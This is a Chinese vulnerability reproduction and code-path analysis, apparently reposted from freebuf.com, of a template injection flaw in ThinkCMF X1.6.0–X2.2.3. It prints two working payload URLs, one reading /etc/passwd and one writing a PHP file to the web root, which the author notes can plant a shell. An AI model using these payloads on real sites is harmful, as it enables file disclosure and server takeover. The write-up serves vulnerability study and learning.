1. 简介
ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。
2. 影响版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
3. 复现环境
我这里下载的2.2.0版本,下载地址为:thinkcmfx2.2.0
安装过程就略过了
4. 漏洞复现
0×01
payload: http://www.code.com/?a=display&templateFile=user/articles&prefix=%27%27&&content=../../../../../../../../../etc/passwd
0×02
payload: http://www.code.com/?a=display&templateFile=user/articles&prefix=%27%27&&content=%3C?php%20file_put_contents(%27test.php%27,%27%3C?php%20phpinfo();%20?%3E%27);
上述请求发送后,会在网站根目录生成test.php,我们访问一下:
5. 漏洞分析
合格性的网站程序,都有统一的入口文件【index类似的文件,后缀可能不同】,并且都是基于mvc的设计理念,通常入口文件主要完成:
·定义框架路径、项目路径(可选)
·定义调试模式和应用模式(可选)
·定义系统相关常量(可选)
·载入框架入口文件(必须)
就此项目入口文件,就定义了项目的路径,如下图:
配置文件,web的配置文件都会定义一些,默认值,下面图中定义了默认的路由值,Portal默认模块,index默认控制器,index默认方法
代码执行文件,有了上面的两步分析,就能找到项目默认执行文件是哪个了,在哪个位置。如下图:代码很简洁,在index的方法里,只有display的方法,显然$this->display 的调用,在本类中没有定义这个方法,所以,猜测父级应该有定义这个函数。
父类里的display方法,不出所料的,找到了父级的display方法,猛地一看,这个方法里面,就一句代码,又出来了display的方法,这个方法,调用的方式为parent的什么,这里是继承了此类的父级display。
二级父类display方法,这里方法体又来了个display,但是,这里不再是另外父级的display了,二十直接调用的其他类,这个类$this->view可以通过print打印出来,设置个断点,再一个简单粗暴的方式,就是直接搜索项目,关键词display,对结果一一排查。
view.class.php类里的display方法,通过上面的调试啊,搜索排查啊,找到了这个类的display方法,很好的注释,我们把目光,重点放到$this->fetch函数上,这里有文件的读写操作【前期猜测,后期证实】。
调用fetch方法,此方法中的重点是第二个if这条语句的判断,这里走的是else,下图有有说明,那hook::listen这里监听的是什么,其学名叫钩子,调用的格式和参数——Hook::listen(‘钩子名称’,’参数(引用)’,’额外参数’,’是否一次有效返回值’);钩子名称传了view_parse,参数$params,这个参数里面,有两个位置要画下重点,一个是键名为file,值为templateFile,这里是get传参的文件名称,第二个是键名为content,值为get传参的content内容值。后面有关于这两个值的逻辑判断。
执行else,原因如下:
代码执行到listen方法体,重点是self::exec方法,
到exec方法,name值为Behavior/ParseTemplateBehavior,下面有截图,在if判断是,符合第一个逻辑,$class这个参数值就是这个类的命名空间,$tag直接赋值为run,也就是实例化这个类,调用run方法。
符合Behavior这种路径的,统一调用run方法
到这个类的run方法,上面强调了两个参数,一个是file,一个是content,这里很好的做了是文件,和内容的判断,如果内容为空,$content的最终内容是存在的文件内容,如果有值,则为传参里的content值,这里优先级content参数值,优于file值,但如果这两个重复了,那就是file的值了。因为后面还有这个判断,这里卖个关子。这里执行else的分支,这里直接断点调试就出来了,打个echo 123,也能做判断。
Template类文件fetch方法,在实验过程中,标注了文件写入的位置,和文件包含的位置,【记忆力差,这里主动标注的】所以,这里直接看具体的方法内容。
loadTemplate方法,这是第一个方法,这里就解释了,我上面卖的关子,如果是文件,且存在,就获取文件的内容,否则,是get 参数content的值。
Storage类里的put方法,这是存储的类,调用了静态put方法。所谓静态方法,使用了static的修饰词,并且不需要实例化的对象,其次,配合使用了魔术方法__callstatic,感觉这里溜得飞起。这里的self::$handler是file的类,call_user_func_array()此函数调用规则,第一个参数数组类型,数组里面放的是类,和类方法,第二个参数为调用方法的参数,这里不好理解,可以多读两遍,多品品,也可自行查手册。
File类里的put方法,通过上面的call_user_func_array方法,到了file类的put方法,很简单,监测目录是否存在,创建目录,赋值权限,写入文件,到此,就是完成了文件写操作。
最后执行include加载,就有了页面的显示效果。
6. 总结
这里放一张流程图,给上面的陈述做个导图,直观一点,如下:
这里可以体会逆推的方式,挖掘漏洞,这张图就点到这了。
菜鸟的我学到了什么:
1、 子类调用父类,public属性方法,直接访问
2、 静态魔术方法 __callStatic
3、 只需要一个payload,就可以实现网上的文件包含、写shell
来源:freebuf.com 2020-03-16 09:23:57 by: mazihan
请登录后发表评论
注册